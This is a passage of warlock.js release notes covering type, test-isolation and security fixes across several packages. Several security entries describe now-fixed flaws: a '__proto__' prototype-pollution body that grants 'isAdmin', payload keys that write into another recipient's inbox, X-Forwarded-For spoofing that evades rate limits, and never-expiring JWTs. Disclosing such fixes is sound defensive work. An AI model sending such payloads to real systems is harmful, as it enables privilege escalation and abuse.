  • Security update() and set() now drop __proto__ / constructor / prototype keys instead of merging them. update() merged with Object.assign(store, updates), which does not create a __proto__ property — it invokes the inherited setter and reparents the store. An app that forwards request-shaped data into a context (tenantContext.update(req.body), or set(key, value) with a caller-supplied key — both close to patterns the README shows) therefore handed a body of {"__proto__":{"isAdmin":true}} a way to pollute Object.prototype for the whole process. Because the polluted object is a *shared* context store, that turns an app-level slip into a cross-request, cross-tenant authorization problem: every later lookup of a missing property anywhere in the process resolves through the attacker's object
@warlock.js/fs Security 1
  • Security fs.files.mergeJson() / File#mergeJson() now drop __proto__ / constructor / prototype keys from both sides of the merge, at every depth. The deep-merge path assigned with output[key] = value, and for a key of __proto__ that is not a property write — it invokes the inherited setter and reparents the merged object. JSON.parse is itself safe but happily produces an own property with that name, so mergeJson(configPath, requestBody) — the natural shape for a "PATCH this JSON config" endpoint — let a partial of {"__proto__":{"isAdmin":true}} poison the object being written, and any property lookup against the in-memory result resolved through the attacker's data
@warlock.js/notifications Security 1
  • Security BaseNotificationsRepository.createFor no longer lets the channel payload override server-owned row keys. The payload was spread after the trusted recipientId, so an untyped caller (e.g. a payload assembled from request JSON, or notify.channel(name).send) carrying a recipientId key — or the model's physical recipient column name — could write the notification into another recipient's inbox, contradicting the recipient-scoping guarantee. Server-owned keys (id, recipientId, tenant, readAt, isRead, and their resolved physical columns) are now stripped from the payload at runtime and the trusted arguments are applied last; legitimate fields (type, title, body, payload, idempotencyKey) pass through unchanged. createManyFor inherits the fix.
4.15.0
August 16, 2026

@warlock.js/ai lands a batch of type + mock-SDK fixes: ctx.run now stringifies a non-string payload, ToolMeta keys are optional, new Error(msg, { cause }) compiles, and the mock honours usage/deltas. @warlock.js/herald fixes a non-idempotent lazy amqplib loader that could race concurrent loads and silently poison test isolation.

@warlock.js/ai Changed 3 Fixed 6
  • Changed MockModelResponse.usage is a new MockUsage type rather than the emitted Usage. The script is an input, not a result: MockModel.buildResponse honours only input / output / cachedTokens, so a fixture declaring cost or reasoningTokens was silently discarded while the type promised otherwise. total is optional and documented as derived, because the mock recomputes it as input + output — an existing spec deliberately asserts that a mismatched scripted total is overridden
  • Changed The mock honours deltas. Fixtures already declared the field; the mock ignored it
  • Changed MockSDK.model() declares its MockModel return type — it always returned one, so callHistory is now reachable without a cast. MockUsage is exported from the barrel
  • Fixed ctx.run(agent, payload) now stringifies a non-string payload, as it always claimed to. coerceInlineInput in src/supervisor/execution.ts gated on !("signature" in executable) to decide whether the target was an agent — but every member of SupervisableExecutable (AgentContract, WorkflowInstance, SupervisorContract) declares signature, so the condition was permanently false and the coercion never ran. A supervisor intent calling ctx.run(someAgent, { question: "why", attempt: 2 }) handed the raw object to agent.execute(), where it landed as the user message content[object Object] in the prompt, or a provider-side payload rejection, depending on the adapter. The check now discriminates on isAnonymous, the one member unique to AgentContract. A regression test covers it; the old guard fails it with Expected: "string" / Received: "object". The unreferenced isSupervisor() duck-type helper — whose own JSDoc admitted it could not tell a supervisor from a workflow — is removed
  • Fixed ToolMeta no longer forces label and actionLabel on every tool that supplies meta. It was declared as Record<"label" | "actionLabel" | (string & {}), unknown>, which makes both keys required, not optional — so any tool author who set one metadata field was made to set all of them. Now an optional-key shape with an index signature
  • Fixed ToolConfig.action is checked bivariantly, via a ToolActionResolver<T> method-in-wrapper. The strictly contravariant parameter position rejected heterogeneous tool arrays that work correctly at runtime
  • Fixed new Error(msg, { cause }) compiles. tsconfig.json declared no lib, so it inherited the target default of ES2020, where ErrorOptions does not exist. lib is now ["ES2022"]; this also resolves the Array.at and String.replaceAll errors. Emit is unchanged — target is still ES2020. Note src/skills/sources/url-source.ts:122 was not a defect: the cause was always passed at runtime, the compiler simply had no type for it
  • Fixed TeamMemberValue accepts the callback member form (IntentCallback), which has always worked at runtime and was only rejected by the type
  • Fixed PlanSchema no longer erases ~standard.jsonSchema from its return type
@warlock.js/herald Fixed 4
  • Fixed The RabbitMQ driver's lazy amqplib loader was not idempotent under concurrent callers. It cached the resolved module in a module-level binding but nothing guarded the load itself, so two loads could be in flight at the same time and the last one to settle won the binding. The eager, unawaited loadAmqplibModule() call at module scope was one of those callers by construction — it started a load nobody was waiting on, which then raced the awaited call from connect(). That eager call has been removed: connect() already awaits the loader, so it bought nothing but the race. The loader now memoizes the in-flight promise itself, so the first caller starts the import() and every later caller awaits that same one
  • Fixed No user-visible misbehaviour is known in production — both racing paths resolve the same real amqplib, so whichever won, callers got the module they expected. The observable damage was in test isolation: when a test was aborted mid-await import(...), the racing loads could leave the binding holding the real amqplib while the test file's vi.mock("amqplib") was still active, so every later test in that file silently bypassed the mock and opened a real socket. Proven by instrumentation — the driver held a live ChannelModel on ::1:5672 while import("amqplib") inside the same test still returned the mock, which is how a green test could be green for the wrong reason
  • Fixed Verified by a timeout sweep, not by a passing suite. The full suite passed both before and after (13 files / 137 tests), because the fault only surfaces when the first test is starved of time. Running tests/connect-to-broker.test.ts at --testTimeout=3000 and 4000 previously timed out the first test *and* took wraps a connection failure with the driver name down with it, failing in ~50 ms with promise resolved "Broker{…}" instead of rejecting — the mock was gone. With the loader fixed, that test passes at every timeout even while the first test still times out: starving one test can no longer poison the next
  • Fixed The first test also paid a cold-transform cost inside its own timed body, since connectToBroker dynamically imports the driver, which pulls in @warlock.js/seal and @warlock.js/logger as raw TS source. That work moved to a beforeAll warm-up. This is a test-timing change only and carries none of the correctness weight above — the loader fix stands on its own without it
@warlock.js/ai-google Added 3 Changed 2 Fixed 1 Deprecated 1
  • Added GeminiImageModel — a Gemini-native image path over ai.models.generateContent (new src/gemini-image.ts, exported as GeminiImageModel). Requests responseModalities: ["TEXT", "IMAGE"] (override the list verbatim with options.responseModalities), maps aspectRatio / imageSize / personGeneration onto Gemini's config.imageConfig, and reshapes inline image parts that come back into the same GeneratedImage[] ({ type: "base64", base64, mediaType }, image/png fallback) the Imagen path emits — so ai.image()'s envelope is unchanged for callers
  • Added Token usage is passed through on the Gemini image path instead of hard-zeroed. Whatever usageMetadata Google attaches becomes usage.input / output / total (plus cachedTokens / reasoningTokens when reported > 0); only an absent block collapses to zeros. The Imagen path stays a flat zero because Imagen reports no tokens at all. Price these models with { input, output } rather than { perImage }, and check the first live usage — whether these models report tokens is not confirmed here. The mapping is now a shared applyGoogleUsage util used by both the chat model and the image model, so one rule decides what a Gemini token report means package-wide
  • Added A response with no image part is never a silent empty success: a blocked prompt (promptFeedback.blockReason) or a safety/policy finishReason (SAFETY, IMAGE_SAFETY, PROHIBITED_CONTENT, IMAGE_PROHIBITED_CONTENT, RECITATION, IMAGE_RECITATION, BLOCKLIST, SPII) throws ContentFilterError carrying the reason; a text-only answer throws ProviderError quoting the text the model returned; anything else throws ProviderError naming the part count and finish reason
  • Changed @google/genai moves from ^2.4.0 to ^2.17.1 (2.17.1 is what installs today). The Gemini image path does not depend on the bump — models.generateContent exists in both — but the older range predates the deprecation notice above and predates ai.interactions, so staying on it meant documenting an SDK surface the package could not reach. The 11 suites / 149 specs in this package pass unchanged on 2.17.1. Note this re-resolved the whole workspace lockfile, not just this package's dependency
  • Changed GoogleSDK.image() returns GeminiImageModel for a gemini- id. This is routing, not validation — no id is rejected locally: an id matching neither family takes the generateImages route, the only route that existed before, so every id that reached Google before still reaches Google the same way and still fails (or succeeds) at the provider
  • Fixed google.image({ name: "gemini-…" }) no longer hits the endpoint that 404s it. ai.models.generateImages routes to {model}:predict (generateImagesgenerateImagesInternalformatMap('{model}:predict', …) in @google/genai's bundle), which does not serve the Gemini image models — the call came back 404 models/… is not found for API version v1beta, or is not supported for predict. GoogleSDK.image() now picks the transport from the id: a gemini- id (with an optional models/ resource prefix) gets the new generateContent implementation, everything else keeps GoogleImageModel / generateImages. Scope of the proof: two levels. Measured here — on the new transport such an id got as far as a quota error (HTTP 429) instead of the 404, which establishes that the endpoint accepts the id. Reported by the maintainer — once billing was enabled on the project, the path returned an image end-to-end from an application running a locally linked build of this package. No test in this package calls Google; the suite proves the request shape and the error mapping, not the round trip
  • Deprecated **Google has deprecated generateImages, the transport the imagen-* path still uses.** Verbatim from the @google/genai runtime warning: *"The generateImages method is deprecated and will be removed in the next major release (not before Jan. 1 2027). Please use the generateContent method with image models instead. See https://ai.google.dev/gemini-api/docs/deprecations#imagen-models and https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/capabilities/image-generation#generate-images"* (editImage carries the same notice.) Nothing breaks today and the Imagen path is unchanged, but it is on a clock: new image work should prefer a gemini- id. The warning is emitted by @google/genai ≥ 2.17; with the bump below, this package now prints it whenever the imagen-* path is used
@warlock.js/ai-openai Changed 3 Fixed 1
  • Changed openai moves from ^6.34.0 to ^7.4.0. The runtime was unaffected: the full suite — 13 files / 208 tests — passed on 7.4.0 *before* any of the type fixes below were made, so nothing about the wire shape this adapter sends or the responses it reads changed across the major. Every fix in this release is a compile-time one.
  • Changed OpenAI.Images.ImageGenerateParamsBase is no longer reachable upstream — openai 7 split image generation into ImageGenerateParamsNonStreaming / ImageGenerateParamsStreaming and stopped re-exporting the shared Base interface from the Images namespace. image.ts now sources its quality / output_format / background value types from ImageGenerateParamsNonStreaming, which is what the request body was already typed as and what the non-streaming images.generate overload accepts. The three fields are inherited from Base unchanged, so the accepted values are identical.
  • Changed ChatCompletionTool became a union (ChatCompletionFunctionTool | ChatCompletionCustomTool) now that Chat Completions carries custom tools. .function is no longer reachable without the type discriminant, so the tool-conversion specs narrow on type === "function" and throw on anything else — a custom-tool regression fails loudly rather than silently skipping the assertion it used to make.
  • Fixed OpenAISDKConfig.provider is a usable string again. openai 7 added its own provider?: Provider key to ClientOptions — an opaque branded object minted by createProvider() — and our intersection collapsed the field to Provider & string, a type no string literal can inhabit. The config now omits the upstream key (Omit<ClientOptions, "provider">) before declaring its own label. No behavior change: the constructor already peeled provider off and never forwarded it to the OpenAI client.
4.14.0
August 16, 2026

@warlock.js/core adds teardownTest() to close a framework a test brought up and scopes test-lifecycle state to the worker runtime instead of the module. Two breaking setupTest changes: an explicit { connectors } now wins over tests.connectors config, and a conflicting concurrent call rejects instead of being silently ignored.

@warlock.js/core Added 1 Changed 3 Fixed 1
  • Added teardownTest() — the other half of the pair. setupTest has shipped without a counterpart since it was introduced: there was no supported way to close the framework a test file brought up, and the only "reset" available was a module flag that proved nothing about whether ports, sockets, pools or timers had actually closed
  • Changed BREAKING — an explicit setupTest({ connectors }) now wins over tests.connectors config. The order was config > parameter > true; it is now explicit parameter > config > true
  • Changed BREAKING — a conflicting setupTest call rejects instead of being ignored. While a setup is starting or ready, a call with *different* effective options now rejects with an error naming both the active and the requested selection. The same options remain a no-op, and concurrent identical calls share one startup
  • Changed Lifecycle state is now scoped to the worker runtime instead of the module. isSetupComplete was a module-level variable, and Vitest rebuilds the setup module's registry between test files while the worker process or thread keeps running — so the flag reset in exactly the situation where live DB connections, pools and timers survive
  • Fixed A stranded setup no longer exhausts the heap. A lifecycle left in the starting state sent teardownTest's wait-then-re-enter path into unbounded recursion — FATAL ERROR: JavaScript heap out of memory at 4 GB, killing the worker with 26 tests in that run never executed. It was found while proving the state machine, not reported by a user, and it would have shipped
@warlock.js/ai-openai Changed 1 Removed 2
  • Changed openai.image({ name }), openai.speech({ name }) and openai.transcribe({ name }) no longer reject an unknown model id at construction — the id is forwarded to OpenAI as given, so an id OpenAI does not serve now fails as a typed provider error instead of a local InvalidRequestError.
  • Removed BREAKINGisOpenAIImageModel() and OPENAI_IMAGE_MODEL_PREFIXES are no longer exported; the known-image-models module is deleted. Nothing in the adapter read them once the construction-time gate went away, so they were a public list of model ids that enforced nothing and went stale on OpenAI's release schedule, not this package's. Import them from nowhere — branch on your own id list if you need one.
  • Removed BREAKINGisOpenAISpeechModel() and isOpenAITranscriptionModel() are no longer exported either, for the same reason. Once their construction-time gates went away nothing in the adapter read them, leaving two more public model-id lists that enforced nothing. No @warlock.js/ai-* adapter validates a model id locally, so the package no longer ships a helper that implies otherwise — branch on your own id list if you need one.
@warlock.js/ai-google Changed 1 Removed 1
  • Changed google.image({ name }) no longer rejects a non-imagen-* model id at construction — the id is passed through to ai.models.generateImages as given, so an id Google does not serve now fails as a typed provider error instead of a local InvalidRequestError
  • Removed BREAKING — isGoogleImageModel() and GOOGLE_IMAGE_MODEL_PREFIXES are gone from the public API. Both were dropped from the package entrypoint and the module deleted; importing either from @warlock.js/ai-google is now a compile error. With the construction-time guard gone (below) they enforced nothing and only invited callers to re-implement a model allow-list the framework does not own — a model id is the provider's to rule on, so there is nothing left for a local list to say. Callers that branched on the Imagen family should match on the id themselves (name.startsWith("imagen-")) or, better, stop branching and let the provider answer
4.13.0
August 12, 2026

@warlock.js/core adds build.singleBundle for a single runnable node dist/app.js, makes @warlock.js/core/tests and @warlock.js/core/vite real importable subpaths, and fixes setupTest() crashing in a project without a tests config plus the test request helpers dropping falsy JSON bodies (false/0/""/null).

@warlock.js/core Added 2 Fixed 13
  • Added build.singleBundle — one file you can run with node dist/app.js. The default build keeps dependencies as real import specifiers resolved from node_modules, which is right when you deploy the folder. Producing a single self-contained file previously meant knowing to set packages: "bundle" and splitting: false, and it still did not work
  • Added @warlock.js/core/tests and @warlock.js/core/vite are real subpaths, with their own build entries and exports keys — the first version in which those helpers are addressable at all. /tests carries the 13 documented test helpers; /vite carries lowerStage3Decorators
  • Fixed setupTest() no longer crashes in a project that has no src/config/tests.ts. config.get("tests") resolves an absent key to null, and the result was dereferenced — so the very path warlock add test generates threw Cannot read properties of null (reading 'connectors') before running a single test. setupTest() with no arguments at all threw one step earlier still, on a destructured parameter with no default
  • Fixed The request helpers send falsy JSON bodies. testPost, testPut and testPatch used body ? JSON.stringify(body) : undefined, so false, 0, "" and null — all legal JSON documents — were sent as no body at all. Only an omitted argument now means "no body"
  • Fixed Shutdown survives a throwing log channel. A connector whose shutdown() failed was reported through log.error(...) from inside the catch block — and Logger.log() hands each entry to channel.log() with no isolation, so a channel that throws synchronously (a misconfigured transport, an unserialisable payload) made that report reject. The rejection escaped shutdown() entirely, and the consequences went well past a missing log line: log.flush() never ran, so every buffered entry from the whole run was lost; the remaining connectors were never torn down; and process.exit(0) — the line gracefulShutdown runs once shutdown() resolves — was never reached, leaving the process alive on the handles those connectors still held
  • Fixed A test server that fails to start no longer leaves half of itself running. startHttpTestServer() publishes the resolved port before the late connector phase and sets isServerRunning only on its last line, so a failure in between left live early-phase connectors and a published port pointing at a server that never came up — while stopHttpTestServer() in globalTeardown reported *"No server to stop"* and walked away from them. Startup now unwinds what it started, always withdraws the port and resets its state. ⚠ The error you get back is unchanged — it always was. Startup had no catch at all, so the original failure already propagated correctly; what was missing was the cleanup, and the new catch exists only to run it. A failure *during* that cleanup is reported and never substituted for the cause, which is the one propagation guarantee the wrapper had to be careful not to break
  • Fixed startHttpTestServer({ port: 0 }) is refused with an instruction instead of half-working. 0 is the OS's "pick a free one" idiom, and the test server cannot honour it: the preflight would bind some unrelated ephemeral port and pass without proving anything, and nothing publishable exists afterwards — HttpConnector.start() records the port it asked for, not the one Fastify bound. Accepting it silently meant getTestServerUrl() resolved 0 through its own config fallback and every worker request went to http://host:0, where nothing listens. The error names the fix: pass an explicit port, or set http.port
  • Fixed BREAKING — the package entry no longer re-exports the CLI, the dev server, the test helpers or the Vite integration. Five export * lines are gone from @warlock.js/core's root: ./cli, ./dev-server/files-orchestrator, ./dev-server/health-checker, ./tests and ./vite
  • Fixed BREAKING — the CORS allow-list in http.cors now actually applies. The framework's defaults were spread after your configuration, so { origin: "*", methods: "*" } overwrote whatever you set. http.cors has never had any effect, in any release up to 4.12.0 — an app that configured an allow-list still answered every origin. Your configuration now wins
  • Fixed BREAKING — http.bodyLimit no longer defaults to 200 GB. An app that configures nothing now gets Fastify's own 1 MB limit. The previous default did not merely allow large bodies, it replaced a protection Fastify provides: an unauthenticated endpoint accepted a 5 MB body and ran application logic on it where bare Fastify would have answered 413
  • Fixed BREAKING — http.trustProxy now defaults to false. request.ip was derived from the client-supplied X-Forwarded-For header by default, and @fastify/rate-limit keys its buckets on request.ip — so a client sending a different X-Forwarded-For on each request got a fresh rate-limit bucket every time. Any deployment not behind a proxy that strips the header had bypassable rate limiting, and the same applied to per-IP lockouts and audit logs
  • Fixed Per-route serverOptions are no longer discarded by the dev server. scanDevServer registers wildcard routes and dispatches per request, so it had no per-route registration slot and dropped serverOptions entirely. A route declaring serverOptions.onRequest — the documented way to run before body parsing — worked in production and silently never ran in dev, which is the only mode most teams run. route.rateLimit was dropped the same way, since it rides in the same options object
  • Fixed The dev server no longer rebuilds its entire route registry on every request. A comment claimed the registry was initialised "once" and pointed at a rebuildRouteRegistry function that does not exist; the code sat inside the per-request handler, re-registering every route on every hit — and router.any() routes expand into seven registrations each. It is now built once and rebuilt when the route table changes
  • Fixed The dev dispatcher logs through the framework logger instead of console.log(error), with the request method and url attached
  • Fixed A bundled production build no longer succeeds and then dies at startup. Setting packages: "bundle" produced a clean build whose process failed immediately with Error: Dynamic require of "node:assert" is not supported. Warlock's output is an ES module; bundled CommonJS dependencies call require(...) and read __dirname to locate their own assets, and neither exists in an ES module, so the bundler substituted a stub that throws. The only fix available to an application author was to hand-write an esbuild banner recreating require via createRequire(import.meta.url) — esbuild internals no app should need to know
4.12.0
August 11, 2026

@warlock.js/core adds warlock migrate --pending — what will run next, in execution order, with exit codes you can gate a deploy on — and stops two CLI flags doing the opposite of what they say: migrate --rollback=false dropped every table, and generate.module --force=false overwrote your files, because boolean options were parsed as raw strings and "false" is truthy. @warlock.js/auth closes a token-expiry hole: an unparseable expiresIn minted a JWT with no exp claim, such a token was then accepted forever, and the rows were never purged — tokens are now rejected at issue and at verification, and auth:purge-never-expiring finds and revokes the ones already in your database. @warlock.js/core also fixes Image and renderReact racing their own optional-dependency imports, where a constructor could run before sharp or react had loaded and fail with not a function.

@warlock.js/core Added 1 Changed 2 Fixed 8
  • Added warlock migrate --pending — what will run next, in the order it will run. migrate could report what had already run (--list) and what files existed on disk (--all), but not the one thing an operator asks before a schema change against a live database. The pending set was already computed on every migrate run; it simply had no read-only exit
  • Changed migrate's preload block no longer declares env: true. The flag has done nothing since env began loading for every command that declares a preload block; it was decoration, and the test suite now asserts its absence so it is not re-added by someone reading the still-deprecated type
  • Changed The package now declares its own test runner and a test script. @warlock.js/core shipped a maintained vitest.config.ts — aliasing eight sibling packages to their sources — with no devDependencies key at all and no way to invoke it. Its suite was reachable only by knowing to type npx vitest, which resolves whatever happens to exist in the tree rather than anything the manifest asked for. The runner is pinned to an exact version, not a range: it moved from 4.1.8 to 4.1.10 mid-development on an unrelated install, silently, and a suite whose runner can change underneath it proves less than it appears to
  • Fixed A build artifact that names an entry point it does not contain is now refused before it can be packed. An interrupted build leaves a directory that looks finished — package.json, README, CHANGELOG, bin/, skills/ — and holds no compiled code at all. Nineteen existed in this tree at once, and nothing in the release path noticed: the only related guard compares modification times, so a hollow directory with a freshly written manifest is *newer than source* and passes, and it runs solely on the artifact-reuse path, which is not how the hollow directories were produced
  • Fixed The production acceptance gate no longer inherits the environment it is supposed to be testing. run-pnpm-acceptance.mjs spawned every child with env: { ...process.env } and set no NODE_ENV. It exercised the production path only because the shell it was written in happened to carry NODE_ENV=production; on a clean checkout, a new contributor's machine, or CI, the same gate boots the app in development — and does not fail, it passes while testing something other than the thing it is named after. That is the worst outcome available to a gate, and it sat underneath the proof for 4.11.0's headline fix
  • Fixed warlock migrate --rollback=false no longer drops every table. CLI options were parsed as raw strings and nothing ever coerced them: --rollback=false reached the action as the string "false", if (rollback) saw a truthy value, and the run rolled back *everything*. The declared type: "boolean" on the option was decorative — used only to render help. The same shape existed on every boolean option, including warlock drop.tables --force=false, where it turned a confirmation prompt into an unattended drop
  • Fixed warlock generate.module users --force=false no longer overwrites your files. The coercion above is opt-in by design — it applies only to options a command declares type: "boolean", so a string option whose value is genuinely the word false survives. The generate family and add never carried that declaration, so the fix reached none of them and both faces of the defect stayed live on the commands most likely to be run against existing source
  • Fixed new Image(...) no longer fails depending on how soon you call it. The Image module fired import("sharp") at load time without awaiting it, and the constructor only checked whether that import had *failed* — never whether it was still in flight. Constructing an image in the first tick after importing the package therefore ran with an undefined sharp function and died with TypeError: sharpFn is not a function; the exact same code passed if something had awaited a timer first. Anything that builds an image during boot — a startup thumbnail job, a module-level warm-up — hit it, and it presented as a mysterious "works locally, breaks in prod" timing bug rather than as a missing dependency
  • Fixed A sharp that is installed but will not load no longer reports itself as "not installed". The resolution above swallowed every failure into a single outcome, so the most common real-world sharp problem — the package present but its native binary built for another platform — arrived as sharp is not installed. plus instructions to run npm install sharp, which cannot fix it. sharp throws its own long, actionable error naming the runtime, the failing .node file and the exact install flags to use; that text was discarded and replaced with a different, wrong cause
  • Fixed renderReact() no longer renders against modules that have not loaded yet. The same defect as the two above, in a second module, found by looking for the pattern rather than by a bug report. react/index.ts fired import("react") and import("react-dom/server") at load time without awaiting either, and tracked them with a three-state flag that the guard only tested for one state: if (moduleExists === false). While the imports were in flight the flag was null, which is not false, so the guard passed and the synchronous renderReact read createElement off undefined. With two sequential dynamic imports the window is wider than the image module's, and it is open during exactly the work a server does at boot — rendering a page or an email template from a module-level warm-up
  • Fixed A broken react-dom/server no longer reports itself as react is not installed. The two packages were loaded in one try and collapsed into one flag, so any failure of either was attributed to react. The specifiers are now resolved and reported separately, and the message names the one that actually failed — Failed to load "react-dom/server": … — because sending an operator to reinstall react when react is fine costs them the debugging session. Absence is distinguished from breakage the same way as for sharp: MODULE_NOT_FOUND and a message naming the specifier exactly, quoted, which is also what stops 'react-dom' from satisfying a check for 'react'. Everything else surfaces the original error, inlined and chained as cause. A react-dom whose ./server subpath is missing from exports raises ERR_PACKAGE_PATH_NOT_EXPORTED, so it correctly reports as an incompatible install rather than an absent one
@warlock.js/auth Added 1 Changed 6 Fixed 3 Security 2
  • Added warlock auth.purge-never-expiring — remediation for rows written by the expiresIn defect below. Finds every access- and refresh-token row that can never retire itself, on two independent signals: an expires_at that is missing or unparseable, and a persisted token carrying no exp claim. Reports id, user_id, user_type and expires_at per row (never the token string — it is a live credential until the command removes it), then deletes them. Pass --dry-run to report without deleting.
  • Changed Potentially breaking: a JWT with no exp claim is rejected by jwt.verify / jwt.verifyRefreshToken. No supported configuration produces one: an app that wants a token that effectively never expires sets expiresIn: NO_EXPIRATION ("100y"), which mints a real exp about a century out (ms("100y")3155760000000; exp - iat3155760000 seconds). "No deadline" and "a distant deadline" are different things, and only the second was ever asked for. If you sign tokens with your own signer and feed them to this package's verifier, they must carry exp.
  • Changed Potentially breaking: RefreshToken.isExpired now answers true for a missing or unparseable expires_at; it previously answered false ("no expiry recorded ⇒ never expires"). That reading handed an unlimited life to precisely the malformed rows. expires_at is required in the schema — a row that cannot say when it dies is malformed, not immortal. AccessToken.isExpired is new and fails closed the same way.
  • Changed Potentially breaking: an invalid accessToken.expiresIn / refreshToken.expiresIn now throws on token issue instead of producing a token with a wrong or absent expiry. Valid configuration is unaffected — "1h", "7d", "30 days", NO_EXPIRATION ("100y"), the 1h access default when the key is absent, and the 7d refresh default all behave exactly as before. An empty string (e.g. env("JWT_TTL") with the variable unset) now throws rather than falling back; give the env read an explicit default.
  • Changed authConfig.accessToken.expiresInMs() / authConfig.refreshToken.expiresInMs() are the validated accessors token issuers must use; the raw expiresIn() accessors are unchanged.
  • Changed Removed the as ms.StringValue casts on both call sites. They were what let arbitrary config text compile against ms's template-literal type and reach the signer as undefined.
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
  • Fixed An expiresIn the ms package cannot parse no longer mints a credential that never expires. accessToken.expiresIn: "30dayz" (or "thirty days", or any truthy-but-unparseable value) made ms() return undefined, which the signer emitted as a JWT with no exp claim, alongside a token row whose expires_at was Invalid Date. The old guard tested the raw config string for truthiness, so the 1h fallback was unreachable in exactly the case it existed for. refreshToken.expiresIn had no fallback at all.
  • Fixed expiresIn: "0d" (and any non-positive duration) is rejected too. It is truthy and parses cleanly to 0, so it survived any guard that only rejects undefined — and fast-jwt skips its own validation for 0, emitting a token with no exp claim while the persisted row claims it expired immediately.
  • Fixed A bare number (expiresIn: 2592000) is now rejected instead of silently corrupting the expiry. ms *formats* numbers rather than parsing them (2592000"43m"), which then poisoned Date.now() + expiresIn into Invalid Date. Write "30d".
  • Security A token with no exp claim is now rejected instead of being accepted forever. fast-jwt has no deadline to check on such a token, so verification simply succeeds — measured against fast-jwt@6.2.4, a token with no exp verifies unchanged at clockTimestamp + 100 years. Both jwt.verify and jwt.verifyRefreshToken now require an exp claim.
  • Security The persisted expires_at is now enforced on every request. authMiddleware previously checked only that the access-token row *existed*; a row whose own expiry had passed still opened the gate, because nothing ever asked. The row is now checked against the clock and deleted on rejection.
@warlock.js/cascade Added 1 Changed 1
  • Added listPendingMigrations() — the registered migrations that have not executed, in the order they will execute, mirroring listExecutedMigrations(). The set was already computed inside the runner on every migrate run; getPendingMigrations() was private and had no read-only exit, so nothing outside could ask "what will run next?" without running it
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/context Changed 2
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
  • Changed Adds a test script. The package shipped a tests/ directory with no way to run it, so the suite was reachable only by knowing to type npx vitest — which resolves whatever happens to exist in the tree rather than anything the manifest asked for
@warlock.js/access Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-anthropic Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-bedrock Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-deepseek Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-google Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-groq Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-live Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-mistral Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-ollama Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-openai Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-panoptic Changed 1
  • Changed Declares its own test runner and pins it to an exact version (vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
@warlock.js/ai-tools Changed 1
